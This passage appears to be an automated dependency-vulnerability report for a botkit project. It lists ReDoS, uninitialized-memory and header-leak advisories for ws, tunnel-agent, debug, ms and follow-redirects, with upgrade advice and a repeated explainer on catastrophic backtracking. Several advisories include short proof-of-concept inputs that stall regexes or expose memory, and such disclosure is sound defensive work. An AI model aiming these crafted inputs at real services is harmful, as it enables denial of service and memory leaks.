  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fix version for string.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ws
  • Introduced through: ciscospark@0.7.93 and ws@2.3.1

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 ws@1.1.5
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ws@2.3.1
    Remediation: Upgrade to ws@5.2.3.

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

##PoC

for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();

  value.trim().split(/ *, */);

  const end = process.hrtime.bigint();

  console.log('length = %d, time = %f ns', length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ws to version 7.4.6, 6.2.2, 5.2.3 or higher.

References

medium severity

Uninitialized Memory Exposure

  • Vulnerable module: tunnel-agent
  • Introduced through: twilio@2.11.1

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD twilio@2.11.1 request@2.74.0 tunnel-agent@0.4.3
    Remediation: Upgrade to twilio@3.0.0.

Overview

tunnel-agent is HTTP proxy tunneling agent. Affected versions of the package are vulnerable to Uninitialized Memory Exposure.

A possible memory disclosure vulnerability exists when a value of type number is used to set the proxy.auth option of a request request and results in a possible uninitialized memory exposures in the request body.

This is a result of unobstructed use of the Buffer constructor, whose insecure default constructor increases the odds of memory leakage.

Details

Constructing a Buffer class with integer N creates a Buffer of length N with raw (not "zero-ed") memory.

In the following example, the first call would allocate 100 bytes of memory, while the second example will allocate the memory needed for the string "100":

// uninitialized Buffer of length 100
x = new Buffer(100);
// initialized Buffer with value of '100'
x = new Buffer('100');

tunnel-agent's request construction uses the default Buffer constructor as-is, making it easy to append uninitialized memory to an existing list. If the value of the buffer list is exposed to users, it may expose raw server side memory, potentially holding secrets, private data and code. This is a similar vulnerability to the infamous Heartbleed flaw in OpenSSL.

Proof of concept by ChALkeR

require('request')({
  method: 'GET',
  uri: 'http://www.example.com',
  tunnel: true,
  proxy:{
      protocol: 'http:',
      host:"127.0.0.1",
      port:8080,
      auth:80
  }
});

You can read more about the insecure Buffer behavior on our blog.

Similar vulnerabilities were discovered in request, mongoose, ws and sequelize.

Remediation

Upgrade tunnel-agent to version 0.6.0 or higher. Note This is vulnerable only for Node <=4

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: debug
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 debug@4.1.1
    Remediation: Upgrade to localtunnel@2.0.1.

Overview

debug is a small debugging utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the function useColors via manipulation of the str argument. The vulnerability can cause a very low impact of about 2 seconds of matching time for data 50k characters long.

Note: CVE-2017-20165 is a duplicate of this vulnerability.

PoC

Use the following regex in the %o formatter.

/\s*\n\s*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade debug to version 2.6.9, 3.1.0, 3.2.7, 4.3.1 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ms
  • Introduced through: twilio@2.11.1

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD twilio@2.11.1 jsonwebtoken@5.4.1 ms@0.7.3
    Remediation: Upgrade to twilio@3.5.0.

Overview

ms is a tiny millisecond conversion utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms() function.

Proof of concept

ms = require('ms');
ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s

Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.

For more information on Regular Expression Denial of Service (ReDoS) attacks, go to our blog.

Disclosure Timeline

  • Feb 9th, 2017 - Reported the issue to package owner.
  • Feb 11th, 2017 - Issue acknowledged by package owner.
  • April 12th, 2017 - Fix PR opened by Snyk Security Team.
  • May 15th, 2017 - Vulnerability published.
  • May 16th, 2017 - Issue fixed and version 2.0.0 released.
  • May 21th, 2017 - Patches released for versions >=0.7.1, <=1.0.0.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ms to version 2.0.0 or higher.

References

low severity

Information Exposure

  • Vulnerable module: follow-redirects
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0 follow-redirects@1.5.10
    Remediation: Upgrade to localtunnel@2.0.1.

Overview

Affected versions of this package are vulnerable to Information Exposure due a leakage of the Authorization header from the same hostname during HTTPS to HTTP redirection. An attacker who can listen in on the wire (or perform a MITM attack) will be able to receive the Authorization header due to the usage of the insecure HTTP protocol which does not verify the hostname the request is sending to.

Remediation

Upgrade follow-redirects to version 1.14.8 or higher.

References